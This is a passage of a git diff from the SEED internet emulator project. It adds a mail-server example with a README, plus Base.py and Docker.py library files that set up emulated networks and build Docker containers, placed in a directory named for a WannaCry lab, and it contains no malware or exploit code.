Nameserver for the mail server and ADD DNS Record ######################### +dns = emu.getLayer("DomainNameService") +asn_162.createHost('host_2').joinNetwork('net0','10.162.0.72') +dns.install('ns-seedmail-edu').addZone('seedmail.edu.') +dns.getZone('seedmail.edu.').addRecord('@ A 10.162.0.75').addRecord('mail.seedmail.edu. A 10.162.0.75').addRecord("@ MX 10 mail.seedmail.edu.") +emu.addBinding(Binding('ns-seedmail-edu', filter=Filter(asn=162, ip="10.162.0.72"))) +emu.getVirtualNode('ns-seedmail-edu').setDisplayName('seedmail.edu') +############################################################################################################## + +##########################################3. Setting MailClient############################################### + +asn_150 = base.getAutonomousSystem(150) +web_150 = asn_150.getHost('webservice_0') +web_150.updateNetwork('net0', address='10.150.0.75') +# We are using mutt as a mail client at this point. +web_150.addSoftware('mutt') +web_150.setFile('/root/.muttrc', MailServerFileTemplates['mutt_rc']) +web_150.setDisplayName('mail_client') +############################################################################################################## + + +emu.render() + +docker = Docker() +docker.addImage(DockerImage('handsonsecurity/seed-ubuntu:large', [], local=False)) +docker.forceImage('handsonsecurity/seed-ubuntu:large') + +emu.compile(docker, './output') diff --git a/examples/not-ready-examples/24-mail-server/readme.md b/examples/not-ready-examples/24-mail-server/readme.md new file mode 100644 index 000000000..80b70eed9 --- /dev/null +++ b/examples/not-ready-examples/24-mail-server/readme.md @@ -0,0 +1,59 @@ +# Mail Server POC (Not ready) + +This is the mail server basic example. It is just on the POC step at this point. +## Useful resources about setting sendmail +https://rimuhosting.com/support/settingupemail.jsp?mta=sendmail&t=catchall#catchall +https://blog.edmdesigner.com/send-email-from-linux-command-line/ +https://kenfavors.com/code/how-to-install-and-configure-sendmail-on-ubuntu/ +https://www.cier.tech/blog/tech-tutorials-4/post/how-to-install-and-configure-sendmail-on-ubuntu-35 + +## What things we can do with this example +1. Run 1 mail server on the mini internet emultor. +2. Receive mail remotely using mutt as a mailclient. Mutt uses IMAP to get mails from the mail server +3. Send mail remotely using telnet + +## What things need to be improved and implemented +1. When configurating the mail server, dns resolv.conf should be set prior to sendmailconfig command. At this point when we render and compile it, sendmailconfig config runs before the setting of the resolv.conf, which leads to hostname error. + +2. Can't send mail using mutt because of the tls regarding error. Implementing ssl on sendmail server might solve this problem. Need to improve it or find another way to send mail. + +3. postfix is also a wellknown smtp server. If we keep having trouble with sendmail, we can try postfix in the future. + +4. Load multiple email server on different hostname (i.e. seedmail.edu and wonmail.com) and make it possible to send and receive mails each other. + +## Step 1: load mini-internet-with-dns as a base layer + + +To get this bin file, you have to run B00-mini-internet, B01-dns-component, and B02-mini-internet-with-dns. +```python +emu.load('../../B02-mini-internet-with-dns/base_with_dns.bin') +``` + +## Step 2: Setting Mailserver +We will use a sendmail software to implement SMTP server and a dovecot software to implement IMAP. + +```python +web.addSoftware('sendmail dovecot-imapd dovecot-pop3d') +web.appendStartCommand('hostname seedmail.edu') +web.setFile('/etc/mail/sendmail.mc', MailServerFileTemplates['sendmail_mc']) +web.appendStartCommand('m4 /etc/mail/sendmail.mc > /etc/mail/sendmail.cf') +web.appendStartCommand('echo "listen = 0.0.0.0, ::" >> /etc/dovecot/dovecot.conf') +web.setFile('/etc/dovecot/conf.d/10-auth.conf', MailServerFileTemplates['dovecot_auth_conf']) +web.setFile('/etc/dovecot/conf.d/10-mail.conf.add', MailServerFileTemplates['dovecot_mail']) +web.appendStartCommand('cat /etc/dovecot/conf.d/10-mail.conf.add >> /etc/dovecot/conf.d/10-mail.conf') +web.appendStartCommand('echo "y" | sendmailconfig') +web.appendStartCommand('/etc/init.d/sendmail restart') +web.appendStartCommand('/etc/init.d/dovecot restart') +``` +## Step3. Setting DNS + +Add Nameserver node for mail host and add a record. + +```python +dns = emu.getLayer("DomainNameService") +asn_162.createHost('host_2').joinNetwork('net0','10.162.0.72') +dns.install('ns-seedmail-edu').addZone('seedmail.edu.') +dns.getZone('seedmail.edu.').addRecord('mail.seedmail.edu. A 10.162.0.75').addRecord("@ MX 10 mail.seedmail.edu.") +emu.addBinding(Binding('ns-seedmail-edu', filter=Filter(asn=162, ip="10.162.0.72"))) +emu.getVirtualNode('ns-seedmail-edu').setDisplayName('seedmail.edu') +``` diff --git a/examples/not-ready-examples/25-wannacry/Lib/Base.py b/examples/not-ready-examples/25-wannacry/Lib/Base.py new file mode 100644 index 000000000..6de50dc66 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/Lib/Base.py @@ -0,0 +1,229 @@ +from __future__ import annotations +from seedemu.core import AutonomousSystem, InternetExchange, AddressAssignmentConstraint, Node, Graphable, Emulator, Layer +from typing import Dict, List + +BaseFileTemplates: Dict[str, str] = {} + +BaseFileTemplates["interface_setup_script"] = """\ +#!/bin/bash +cidr_to_net() { + ipcalc -n "$1" | sed -E -n 's/^Network: +([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/[0-9]{1,2}) +.*/\\1/p' +} + +ip -j addr | jq -cr '.[]' | while read -r iface; do { + ifname="`jq -cr '.ifname' <<< "$iface"`" + jq -cr '.addr_info[]' <<< "$iface" | while read -r iaddr; do { + addr="`jq -cr '"\(.local)/\(.prefixlen)"' <<< "$iaddr"`" + net="`cidr_to_net "$addr"`" + [ -z "$net" ] && continue + line="`grep "$net" < ifinfo.txt`" + new_ifname="`cut -d: -f1 <<< "$line"`" + latency="`cut -d: -f3 <<< "$line"`" + bw="`cut -d: -f4 <<< "$line"`" + [ "$bw" = 0 ] && bw=1000000000000 + loss="`cut -d: -f5 <<< "$line"`" + [ ! -z "$new_ifname" ] && { + ip li set "$ifname" down + ip li set "$ifname" name "$new_ifname" + ip li set "$new_ifname" up + tc qdisc add dev "$new_ifname" root handle 1:0 tbf rate "${bw}bit" buffer 1000000 limit 1000 + tc qdisc add dev "$new_ifname" parent 1:0 handle 10: netem delay "${latency}ms" loss "${loss}%" + } + }; done +}; done +""" + +class Base(Layer, Graphable): + """! + @brief The base layer. + """ + + __ases: Dict[int, AutonomousSystem] + __ixes: Dict[int, InternetExchange] + + __name_servers: List[str] + + def __init__(self): + """! + @brief Base layer constructor. + """ + super().__init__() + self.__ases = {} + self.__ixes = {} + self.__name_servers = [] + + def getName(self) -> str: + return "Base" + + def configure(self, emulator: Emulator): + self._log('registering nodes...') + for asobj in self.__ases.values(): + if len(asobj.getNameServers()) == 0: + asobj.setNameServers(self.__name_servers) + + asobj.registerNodes(emulator) + + self._log('setting up internet exchanges...') + for ix in self.__ixes.values(): ix.configure(emulator) + + self._log('setting up autonomous systems...') + for asobj in self.__ases.values(): asobj.configure(emulator) + + def render(self, emulator: Emulator) -> None: + for ((scope, type, name), obj) in emulator.getRegistry().getAll().items(): + + if not (type == 'rs' or type == 'rnode' or type == 'hnode'): + continue + + node: Node = obj + + ifinfo = '' + for iface in node.getInterfaces(): + net = iface.getNet() + [l, b, d] = iface.getLinkProperties() + ifinfo += '{}:{}:{}:{}:{}\n'.format(net.getName(), net.getPrefix(), l, b, d) + + node.setFile('/ifinfo.txt', ifinfo) + node.setFile('/interface_setup', BaseFileTemplates['interface_setup_script']) + node.insertStartCommand(0, '/interface_setup') + node.insertStartCommand(0, 'chmod +x /interface_setup') + + def setNameServers(self, servers: List[str]) -> Base: + """! + @brief set recursive name servers to use on all nodes. Can be override + by calling setNameServers at AS level or node level. + + @param servers list of IP addresses of recursive name servers. + + @returns self, for chaining API calls. + """ + self.__name_servers = servers + + return self + + def getNameServers(self) -> List[str]: + """! + @brief get configured recursive name servers for all nodes. + + @returns list of IP addresses of recursive name servers + """ + return self.__name_servers + + def createAutonomousSystem(self, asn: int) -> AutonomousSystem: + """! + @brief Create a new AutonomousSystem. + + @param asn ASN of the new AS. + @returns created AS. + @throws AssertionError if asn exists. + """ + assert asn not in self.__ases, "as{} already exist.".format(asn) + self.__ases[asn] = AutonomousSystem(asn) + return self.__ases[asn] + + def getAutonomousSystem(self, asn: int) -> AutonomousSystem: + """! + @brief Create an existing AutonomousSystem. + + @param asn ASN of the AS. + @returns AS. + @throws AssertionError if asn does not exist. + """ + assert asn in self.__ases, "as{} does not exist.".format(asn) + return self.__ases[asn] + + def setAutonomousSystem(self, asObject: AutonomousSystem): + """! + @brief Set AS to an existing AS object. + + @param asObject AS object. + """ + asn = asObject.getAsn() + self.__ases[asn] = asObject + + def createInternetExchange(self, asn: int, prefix: str = "auto", aac: AddressAssignmentConstraint = None) -> InternetExchange: + """! + @brief Create a new InternetExchange. + + @param asn ASN of the new IX. + @param prefix (optional) prefix of the IX peering LAN. + @param aac (optional) Address assigment constraint. + @returns created IX. + @throws AssertionError if IX exists. + """ + assert asn not in self.__ixes, "ix{} already exist.".format(asn) + self.__ixes[asn] = InternetExchange(asn, prefix, aac) + return self.__ixes[asn] + + def getInternetExchange(self, asn: int) -> InternetExchange: + """! + @brief Get an existing InternetExchange. + + @param asn ASN of the IX. + @returns InternetExchange. + @throws AssertionError if ix does not exist. + """ + assert asn in self.__ixes, "ix{} does not exist.".format(asn) + return self.__ixes[asn] + + def setInternetExchange(self, ixObject: InternetExchange): + """! + @brief Set IX to an existing IX object. + + @param ixObject IX object. + """ + asn = ixObject.getId() + self.__ixes[asn] = ixObject + + def getAsns(self) -> List[int]: + """! + @brief Get list of ASNs. + + @returns List of ASNs. + """ + return list(self.__ases.keys()) + + def getInternetExchangeIds(self) -> List[int]: + """! + @brief Get list of IX IDs. + + @returns List of IX IDs. + """ + return list(self.__ixes.keys()) + + def getNodesByName(self, name:str) -> List[Node]: + """! + @brief Get list of Nodes by name. + + @returns List of Nodes whose name is start with input_name. + """ + nodes = [] + for _as in self.__ases.values(): + for host_name in _as.getHosts(): + if host_name.startswith(name): + nodes.append(_as.getHost(host_name)) + return nodes + + def _doCreateGraphs(self, emulator: Emulator): + graph = self._addGraph('Layer 2 Connections', False) + for asobj in self.__ases.values(): + asobj.createGraphs(emulator) + asgraph = asobj.getGraph('AS{}: Layer 2 Connections'.format(asobj.getAsn())) + graph.copy(asgraph) + + def print(self, indent: int) -> str: + out = ' ' * indent + out += 'BaseLayer:\n' + + indent += 4 + out += ' ' * indent + out += 'AutonomousSystems:\n' + for _as in self.__ases.values(): + out += _as.print(indent + 4) + + out += ' ' * indent + out += 'InternetExchanges:\n' + for _as in self.__ixes.values(): + out += _as.print(indent + 4) + + return out \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/Lib/Docker.py b/examples/not-ready-examples/25-wannacry/Lib/Docker.py new file mode 100644 index 000000000..171e296e0 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/Lib/Docker.py @@ -0,0 +1,1002 @@ +from __future__ import annotations +from seedemu.core.Emulator import Emulator +from seedemu.core import Node, Network, Compiler +from seedemu.core.enums import NodeRole, NetworkType +from typing import Dict, Generator, List, Set, Tuple +from hashlib import md5 +from os import mkdir, chdir +from re import sub +from ipaddress import IPv4Network, IPv4Address +from shutil import copyfile + +SEEDEMU_CLIENT_IMAGE='magicnat/seedemu-client' +ETH_SEEDEMU_CLIENT_IMAGE='rawisader/seedemu-eth-client' + +DockerCompilerFileTemplates: Dict[str, str] = {} + +DockerCompilerFileTemplates['dockerfile'] = """\ +ARG DEBIAN_FRONTEND=noninteractive +RUN echo 'exec zsh' > /root/.bashrc +""" + +DockerCompilerFileTemplates['start_script'] = """\ +#!/bin/bash +{startCommands} +echo "ready! run 'docker exec -it $HOSTNAME /bin/zsh' to attach to this node" >&2 +for f in /proc/sys/net/ipv4/conf/*/rp_filter; do echo 0 > "$f"; done +tail -f /dev/null +""" + +DockerCompilerFileTemplates['seedemu_sniffer'] = """\ +#!/bin/bash +last_pid=0 +while read -sr expr; do { + [ "$last_pid" != 0 ] && kill $last_pid 2> /dev/null + [ -z "$expr" ] && continue + tcpdump -e -i any -nn -p -q "$expr" & + last_pid=$! +}; done +[ "$last_pid" != 0 ] && kill $last_pid +""" + +DockerCompilerFileTemplates['seedemu_worker'] = """\ +#!/bin/bash + +net() { + [ "$1" = "status" ] && { + ip -j link | jq -cr '.[] .operstate' | grep -q UP && echo "up" || echo "down" + return + } + + ip -j li | jq -cr '.[] .ifname' | while read -r ifname; do ip link set "$ifname" "$1"; done +} + +bgp() { + cmd="$1" + peer="$2" + [ "$cmd" = "bird_peer_down" ] && birdc dis "$2" + [ "$cmd" = "bird_peer_up" ] && birdc en "$2" +} + +while read -sr line; do { + id="`cut -d ';' -f1 <<< "$line"`" + cmd="`cut -d ';' -f2 <<< "$line"`" + + output="no such command." + + [ "$cmd" = "net_down" ] && output="`net down 2>&1`" + [ "$cmd" = "net_up" ] && output="`net up 2>&1`" + [ "$cmd" = "net_status" ] && output="`net status 2>&1`" + [ "$cmd" = "bird_list_peer" ] && output="`birdc s p | grep --color=never BGP 2>&1`" + + [[ "$cmd" == "bird_peer_"* ]] && output="`bgp $cmd 2>&1`" + + printf '_BEGIN_RESULT_' + jq -Mcr --arg id "$id" --arg return_value "$?" --arg output "$output" -n '{id: $id | tonumber, return_value: $return_value | tonumber, output: $output }' + printf '_END_RESULT_' +}; done +""" + +DockerCompilerFileTemplates['replace_address_script'] = '''\ +#!/bin/bash +ip -j addr | jq -cr '.[]' | while read -r iface; do { + ifname="`jq -cr '.ifname' <<< "$iface"`" + jq -cr '.addr_info[]' <<< "$iface" | while read -r iaddr; do { + addr="`jq -cr '"\(.local)/\(.prefixlen)"' <<< "$iaddr"`" + line="`grep "$addr" < /dummy_addr_map.txt`" + [ -z "$line" ] && continue + new_addr="`cut -d, -f2 <<< "$line"`" + ip addr del "$addr" dev "$ifname" + ip addr add "$new_addr" dev "$ifname" + }; done +}; done +''' + +DockerCompilerFileTemplates['compose'] = """\ +version: "3.4" +services: +{dummies} +{services} +networks: +{networks} +""" + +DockerCompilerFileTemplates['compose_dummy'] = """\ + {imageDigest}: + build: + context: . + dockerfile: dummies/{imageDigest} + image: {imageDigest} +""" + +DockerCompilerFileTemplates['compose_service'] = """\ + {nodeId}: + build: ./{nodeId} + container_name: {nodeName} + cap_add: + - ALL + sysctls: + - net.ipv4.ip_forward=1 + - net.ipv4.conf.default.rp_filter=0 + - net.ipv4.conf.all.rp_filter=0 + privileged: true + networks: +{networks}{ports}{volumes} + labels: +{labelList} +""" + +DockerCompilerFileTemplates['compose_label_meta'] = """\ + org.seedsecuritylabs.seedemu.meta.{key}: "{value}" +""" + +DockerCompilerFileTemplates['compose_ports'] = """\ + ports: +{portList} +""" + +DockerCompilerFileTemplates['compose_port'] = """\ + - {hostPort}:{nodePort}/{proto} +""" + +DockerCompilerFileTemplates['compose_volumes'] = """\ + volumes: +{volumeList} +""" + +DockerCompilerFileTemplates['compose_volume'] = """\ + - type: bind + source: {hostPath} + target: {nodePath} +""" + +DockerCompilerFileTemplates['compose_storage'] = """\ + - {nodePath} +""" + +DockerCompilerFileTemplates['compose_service_network'] = """\ + {netId}: + ipv4_address: {address} +""" + +DockerCompilerFileTemplates['compose_network'] = """\ + {netId}: + driver_opts: + com.docker.network.driver.mtu: {mtu} + ipam: + config: + - subnet: {prefix} + labels: +{labelList} +""" + +DockerCompilerFileTemplates['seedemu_client'] = """\ + seedemu-client: + image: {clientImage} + container_name: seedemu_client + volumes: + - /var/run/docker.sock:/var/run/docker.sock + ports: + - {clientPort}:8080/tcp +""" + +DockerCompilerFileTemplates['seedemu-eth-client'] = """\ + seedemu-eth-client: + image: {ethClientImage} + container_name: seedemu-eth-client + volumes: + - /var/run/docker.sock:/var/run/docker.sock + ports: + - {ethClientPort}:3000/tcp +""" + +DockerCompilerFileTemplates['zshrc_pre'] = """\ +export NOPRECMD=1 +alias st=set_title +""" + +DockerCompilerFileTemplates['local_image'] = """\ + {imageName}: + build: + context: {dirName} + image: {imageName} +""" + +class DockerImage(object): + """! + @brief The DockerImage class. + + This class repersents a candidate image for docker compiler. + """ + + __software: Set[str] + __name: str + __local: bool + __dirName: str + + def __init__(self, name: str, software: List[str], local: bool = False, dirName: str = None) -> None: + """! + @brief create a new docker image. + + @param name name of the image. Can be name of a local image, image on + dockerhub, or image in private repo. + @param software set of software pre-installed in the image, so the + docker compiler can skip them when compiling. + @param local (optional) set this image as a local image. A local image + is built ocally instead of pulled from the docker hub. Default to False. + @param dirName (optional) directory name of the local image (when local + is True). Default to None. None means use the name of the image. + """ + super().__init__() + + self.__name = name + self.__software = set() + self.__local = local + self.__dirName = dirName if dirName != None else name + + for soft in software: + self.__software.add(soft) + + def getName(self) -> str: + """! + @brief get the name of this image. + + @returns name. + """ + return self.__name + + def getSoftware(self) -> Set[str]: + """! + @brief get set of software installed on this image. + + @return set. + """ + return self.__software + + def getDirName(self) -> str: + """! + @brief returns the directory name of this image. + + @return directory name. + """ + return self.__dirName + + def isLocal(self) -> bool: + """! + @brief returns True if this image is local. + + @return True if this image is local. + """ + return self.__local + +DefaultImages: List[DockerImage] = [] + +DefaultImages.append(DockerImage('ubuntu:20.04', [])) + +class Docker(Compiler): + """! + @brief The Docker compiler class. + + Docker is one of the compiler driver. It compiles the lab to docker + containers. + """ + + __services: str + __networks: str + __naming_scheme: str + __self_managed_network: bool + __dummy_network_pool: Generator[IPv4Network, None, None] + + __client_enabled: bool + __client_port: int + + __eth_client_enabled: bool + __eth_client_port: int + + __client_hide_svcnet: bool + + __images: Dict[str, Tuple[DockerImage, int]] + __forced_image: str + __disable_images: bool + __image_per_node_list: Dict[Tuple[str, str], DockerImage] + _used_images: Set[str] + + def __init__( + self, + namingScheme: str = "as{asn}{role}-{displayName}-{primaryIp}", + selfManagedNetwork: bool = False, + dummyNetworksPool: str = '10.128.0.0/9', + dummyNetworksMask: int = 24, + clientEnabled: bool = False, + clientPort: int = 8080, + ethClientEnabled: bool = False, + ethClientPort: int = 3000, + clientHideServiceNet: bool = True + ): + """! + @brief Docker compiler constructor. + + @param namingScheme (optional) node naming scheme. Avaliable variables + are: {asn}, {role} (r - router, h - host, rs - route server), {name}, + {primaryIp} and {displayName}. {displayName} will automaically fall + back to {name} if + Default to as{asn}{role}-{displayName}-{primaryIp}. + @param selfManagedNetwork (optional) use self-managed network. Enable + this to manage the network inside containers instead of using docker's + network management. This works by first assigning "dummy" prefix and + address to containers, then replace those address with "real" address + when the containers start. This will allow the use of overlapping + networks in the emulation and will allow the use of the ".1" address on + nodes. Note this will break port forwarding (except for service nodes + like real-world access node and remote access node.) Default to False. + @param dummyNetworksPool (optional) dummy networks pool. This should not + overlap with any "real" networks used in the emulation, including + loopback IP addresses. Default to 10.128.0.0/9. + @param dummyNetworksMask (optional) mask of dummy networks. Default to + 24. + @param clientEnabled (optional) set if seedemu client should be enabled. + Default to False. Note that the seedemu client allows unauthenticated + access to all nodes, which can potentially allow root access to the + emulator host. Only enable seedemu in a trusted network. + @param clientPort (optional) set seedemu client port. Default to 8080. + @param clientHideServiceNet (optional) hide service network for the + client map by not adding metadata on the net. Default to True. + """ + self.__networks = "" + self.__services = "" + self.__naming_scheme = namingScheme + self.__self_managed_network = selfManagedNetwork + self.__dummy_network_pool = IPv4Network(dummyNetworksPool).subnets(new_prefix = dummyNetworksMask) + + self.__client_enabled = clientEnabled + self.__client_port = clientPort + + self.__eth_client_enabled = ethClientEnabled + self.__eth_client_port = ethClientPort + + self.__client_hide_svcnet = clientHideServiceNet + + self.__images = {} + self.__forced_image = None + self.__disable_images = False + self._used_images = set() + self.__image_per_node_list = {} + + for image in DefaultImages: + self.addImage(image) + + def getName(self) -> str: + return "Docker" + + def addImage(self, image: DockerImage, priority: int = 0) -> Docker: + """! + @brief add an candidate image to the compiler. + + @param image image to add. + @param priority (optional) priority of this image. Used when one or more + images with same number of missing software exist. The one with highest + priority wins. If two or more images with same priority and same number + of missing software exist, the one added the last will be used. All + built-in images has priority of 0. Default to 0. + + @returns self, for chaining api calls. + """ + assert image.getName() not in self.__images, 'image with name {} already exists.'.format(image.getName()) + self.__images[image.getName()] = (image, priority) + + return self + + def getImages(self) -> List[Tuple[DockerImage, int]]: + """! + @brief get list of images configured. + + @returns list of tuple of images and priority. + """ + + return list(self.__images.values()) + + def forceImage(self, imageName: str) -> Docker: + """! + @brief forces the docker compiler to use a image, identified by the + imageName. Image with such name must be added to the docker compiler + with the addImage method, or the docker compiler will fail at compile + time. Set to None to disable the force behavior. + + @param imageName name of the image. + + @returns self, for chaining api calls. + """ + self.__forced_image = imageName + + return self + + def disableImages(self, disabled: bool = True) -> Docker: + """! + @brief forces the docker compiler to not use any images and build + everything for starch. Set to False to disable the behavior. + + @paarm disabled (option) disabled image if True. Default to True. + + @returns self, for chaining api calls. + """ + self.__disable_images = disabled + + return self + + def setImageOverride(self, node:Node, image:DockerImage): + asn = node.getAsn() + name = node.getName() + self.__image_per_node_list[(asn, name)]=image + + def _groupSoftware(self, emulator: Emulator): + """! + @brief Group apt-get install calls to maximize docker cache. + + @param emulator emulator to load nodes from. + """ + + registry = emulator.getRegistry() + + # { [imageName]: { [softName]: [nodeRef] } } + softGroups: Dict[str, Dict[str, List[Node]]] = {} + + # { [imageName]: useCount } + groupIter: Dict[str, int] = {} + + for ((scope, type, name), obj) in registry.getAll().items(): + if type != 'rnode' and type != 'hnode' and type != 'snode' and type != 'rs' and type != 'snode': + continue + + node: Node = obj + + (img, _) = self._selectImageFor(node) + imgName = img.getName() + + if not imgName in groupIter: + groupIter[imgName] = 0 + + groupIter[imgName] += 1 + + if not imgName in softGroups: + softGroups[imgName] = {} + + group = softGroups[imgName] + + for soft in node.getSoftware(): + if soft not in group: + group[soft] = [] + group[soft].append(node) + + for (key, val) in softGroups.items(): + maxIter = groupIter[key] + self._log('grouping software for image "{}" - {} references.'.format(key, maxIter)) + step = 1 + + for commRequired in range(maxIter, 0, -1): + currentTier: Set[str] = set() + currentTierNodes: Set[Node] = set() + + for (soft, nodes) in val.items(): + if len(nodes) == commRequired: + currentTier.add(soft) + for node in nodes: currentTierNodes.add(node) + + for node in currentTierNodes: + if not node.hasAttribute('__soft_install_tiers'): + node.setAttribute('__soft_install_tiers', []) + + node.getAttribute('__soft_install_tiers').append(currentTier) + + + if len(currentTier) > 0: + self._log('the following software has been grouped together in step {}: {} since they are referenced by {} nodes.'.format(step, currentTier, len(currentTierNodes))) + step += 1 + + + def _selectImageFor(self, node: Node) -> Tuple[DockerImage, Set[str]]: + """! + @brief select image for the given node. + + @param node node. + + @returns tuple of selected image and set of missinge software. + """ + nodeSoft = node.getSoftware() + nodeKey = (node.getAsn(), node.getName()) + + if nodeKey in self.__image_per_node_list: + image = self.__image_per_node_list[nodeKey] + self._log('image-per-node configured, using {}'.format(image.getName())) + return (image, nodeSoft - image.getSoftware()) + + if self.__disable_images: + self._log('disable-imaged configured, using base image.') + (image, _) = self.__images['ubuntu:20.04'] + return (image, nodeSoft - image.getSoftware()) + + if self.__forced_image != None: + assert self.__forced_image in self.__images, 'forced-image configured, but image {} does not exist.'.format(self.__forced_image) + + (image, _) = self.__images[self.__forced_image] + + self._log('force-image configured, using image: {}'.format(image.getName())) + + return (image, nodeSoft - image.getSoftware()) + + candidates: List[Tuple[DockerImage, int]] = [] + minMissing = len(nodeSoft) + + for (image, prio) in self.__images.values(): + missing = len(nodeSoft - image.getSoftware()) + + if missing < minMissing: + candidates = [] + minMissing = missing + + if missing <= minMissing: + candidates.append((image, prio)) + + assert len(candidates) > 0, '_electImageFor ended w/ no images?' + + (selected, maxPiro) = candidates[0] + + for (candidate, prio) in candidates: + if prio >= maxPiro: + selected = candidate + + return (selected, nodeSoft - selected.getSoftware()) + + + def _getNetMeta(self, net: Network) -> str: + """! + @brief get net metadata lables. + + @param net net object. + + @returns metadata lables string. + """ + + (scope, type, name) = net.getRegistryInfo() + + labels = '' + + if self.__client_hide_svcnet and scope == 'seedemu' and name == '000_svc': + return DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'dummy', + value = 'dummy label for hidden node/net' + ) + + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'type', + value = 'global' if scope == 'ix' else 'local' + ) + + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'scope', + value = scope + ) + + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'name', + value = name + ) + + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'prefix', + value = net.getPrefix() + ) + + if net.getDisplayName() != None: + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'displayname', + value = net.getDisplayName() + ) + + if net.getDescription() != None: + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'description', + value = net.getDescription() + ) + + return labels + + def _getNodeMeta(self, node: Node) -> str: + """! + @brief get node metadata lables. + + @param node node object. + + @returns metadata lables string. + """ + (scope, type, name) = node.getRegistryInfo() + + labels = '' + + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'asn', + value = node.getAsn() + ) + + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'nodename', + value = name + ) + + if type == 'hnode': + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'role', + value = 'Host' + ) + + if type == 'rnode': + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'role', + value = 'Router' + ) + + if type == 'snode': + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'role', + value = 'Emulator Service Worker' + ) + + if type == 'rs': + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'role', + value = 'Route Server' + ) + + if node.getDisplayName() != None: + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'displayname', + value = node.getDisplayName() + ) + + if node.getDescription() != None: + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'description', + value = node.getDescription() + ) + + n = 0 + for iface in node.getInterfaces(): + net = iface.getNet() + + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'net.{}.name'.format(n), + value = net.getName() + ) + + labels += DockerCompilerFileTemplates['compose_label_meta'].format( + key = 'net.{}.address'.format(n), + value = '{}/{}'.format(iface.getAddress(), net.getPrefix().prefixlen) + ) + + n += 1 + + return labels + + def _nodeRoleToString(self, role: NodeRole): + """! + @brief convert node role to prefix string + + @param role node role + + @returns prefix string + """ + if role == NodeRole.Host: return 'h' + if role == NodeRole.Router: return 'r' + if role == NodeRole.RouteServer: return 'rs' + assert False, 'unknow node role {}'.format(role) + + def _contextToPrefix(self, scope: str, type: str) -> str: + """! + @brief Convert context to prefix. + + @param scope scope. + @param type type. + + @returns prefix string. + """ + return '{}_{}_'.format(type, scope) + + def _addFile(self, path: str, content: str) -> str: + """! + @brief Stage file to local folder and return Dockerfile command. + + @param path path to file. (in container) + @param content content of the file. + + @returns COPY expression for dockerfile. + """ + + staged_path = md5(path.encode('utf-8')).hexdigest() + print(content, file=open(staged_path, 'w')) + return 'COPY {} {}\n'.format(staged_path, path) + + def _importFile(self, path: str, hostpath: str) -> str: + """! + @brief Stage file to local folder and return Dockerfile command. + + @param path path to file. (in container) + @param hostpath path to file. (on host) + + @returns COPY expression for dockerfile. + """ + + staged_path = md5(path.encode('utf-8')).hexdigest() + copyfile(hostpath, staged_path) + return 'COPY {} {}\n'.format(staged_path, path) + + def _compileNode(self, node: Node) -> str: + """! + @brief Compile a single node. Will create folder for node and the + dockerfile. + + @param node node to compile. + + @returns docker-compose service string. + """ + (scope, type, _) = node.getRegistryInfo() + prefix = self._contextToPrefix(scope, type) + real_nodename = '{}{}'.format(prefix, node.getName()) + + node_nets = '' + dummy_addr_map = '' + + for iface in node.getInterfaces(): + net = iface.getNet() + (netscope, _, _) = net.getRegistryInfo() + net_prefix = self._contextToPrefix(netscope, 'net') + if net.getType() == NetworkType.Bridge: net_prefix = '' + real_netname = '{}{}'.format(net_prefix, net.getName()) + address = iface.getAddress() + + if self.__self_managed_network and net.getType() != NetworkType.Bridge: + d_index: int = net.getAttribute('dummy_prefix_index') + d_prefix: IPv4Network = net.getAttribute('dummy_prefix') + d_address: IPv4Address = d_prefix[d_index] + + net.setAttribute('dummy_prefix_index', d_index + 1) + + dummy_addr_map += '{}/{},{}/{}\n'.format( + d_address, d_prefix.prefixlen, + iface.getAddress(), iface.getNet().getPrefix().prefixlen + ) + + address = d_address + + self._log('using self-managed network: using dummy address {}/{} for {}/{} on as{}/{}'.format( + d_address, d_prefix.prefixlen, iface.getAddress(), iface.getNet().getPrefix().prefixlen, + node.getAsn(), node.getName() + )) + + node_nets += DockerCompilerFileTemplates['compose_service_network'].format( + netId = real_netname, + address = address + ) + + _ports = node.getPorts() + ports = '' + if len(_ports) > 0: + lst = '' + for (h, n, p) in _ports: + lst += DockerCompilerFileTemplates['compose_port'].format( + hostPort = h, + nodePort = n, + proto = p + ) + ports = DockerCompilerFileTemplates['compose_ports'].format( + portList = lst + ) + + _volumes = node.getSharedFolders() + storages = node.getPersistentStorages() + + volumes = '' + + if len(_volumes) > 0 or len(storages) > 0: + lst = '' + + for (nodePath, hostPath) in _volumes.items(): + lst += DockerCompilerFileTemplates['compose_volume'].format( + hostPath = hostPath, + nodePath = nodePath + ) + + for path in storages: + lst += DockerCompilerFileTemplates['compose_storage'].format( + nodePath = path + ) + + volumes = DockerCompilerFileTemplates['compose_volumes'].format( + volumeList = lst + ) + + dockerfile = DockerCompilerFileTemplates['dockerfile'] + mkdir(real_nodename) + chdir(real_nodename) + + (image, soft) = self._selectImageFor(node) + + if not node.hasAttribute('__soft_install_tiers') and len(soft) > 0: + dockerfile += 'RUN apt-get update && apt-get install -y --no-install-recommends {}\n'.format(' '.join(sorted(soft))) + + if node.hasAttribute('__soft_install_tiers'): + softLists: List[List[str]] = node.getAttribute('__soft_install_tiers') + for softList in softLists: + dockerfile += 'RUN apt-get update && apt-get install -y --no-install-recommends {}\n'.format(' '.join(sorted(softList))) + + dockerfile += 'RUN curl -L https://grml.org/zsh/zshrc > /root/.zshrc\n' + dockerfile = 'FROM 